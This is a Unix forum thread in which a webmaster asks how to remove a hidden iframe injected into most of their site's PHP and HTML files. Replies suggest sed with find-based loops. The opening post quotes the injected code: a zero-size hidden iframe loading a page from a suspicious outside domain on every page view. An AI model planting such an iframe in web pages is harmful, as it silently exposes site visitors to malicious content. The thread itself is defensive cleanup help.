![]() |
|
|
|
|
|||||||
| Forums | Portal | Register | Forum Rules | FAQ | Contribute | Members List | Arcade | Search | Today's Posts | Mark Forums Read |
| Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts here. |
|
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| How to replace specific text line out of multiple occurance | madhusmita | Shell Programming and Scripting | 5 | 06-17-2008 10:03 AM |
| Replace text in multiple files | on9west | Shell Programming and Scripting | 1 | 05-19-2008 10:35 PM |
| Replace text in multiple files | Tonka52 | Shell Programming and Scripting | 10 | 03-24-2008 05:11 AM |
| How do you delete multiple text from a comma delimited file | dolo21taf | Shell Programming and Scripting | 1 | 02-20-2008 02:12 AM |
| Need to search and replace in multiple files in directory hierarchy | umen | Shell Programming and Scripting | 3 | 12-24-2007 01:56 AM |
|
|
Submit Tools | LinkBack | Thread Tools | Display Modes |
|
#1
|
|||
|
|||
|
[help]Delete or replace text in multiple file and multiple directory
here's the case :
almost of php/html file on my site has added the text : Code:
<iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe> i have tried this following script : Code:
for y in *
do
sed 's_<iframe src="http:\/\/google-analyze.cn\/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></\iframe>_ _' "$y" >temp
if cmp temp "$y" >/dev/null
then
rm temp
else
mv temp "$y"
fi
done
Thx |
| Forum Sponsor | ||
|
|
|
#2
|
|||
|
|||
|
Use find to loop through the directory and the subdirectories:
Code:
for i in $(find *) |
|
#3
|
||||
|
||||
|
Not bourne-safe - tut tut
Code:
for i in `find *` |
|
#4
|
||||
|
||||
|
Quote:
Quote:
|
|
#5
|
||||
|
||||
|
Quote:
Ok then: Code:
find . -type f | while read i |
|
#6
|
|||
|
|||
|
Quote:
Quote:
Quote:
|
|
#7
|
||||
|
||||
|
If your initial code works as you describe, you should be able to get away with simply replacing the "for i in *" line with the line given above.
|
||||
| Google The UNIX and Linux Forums |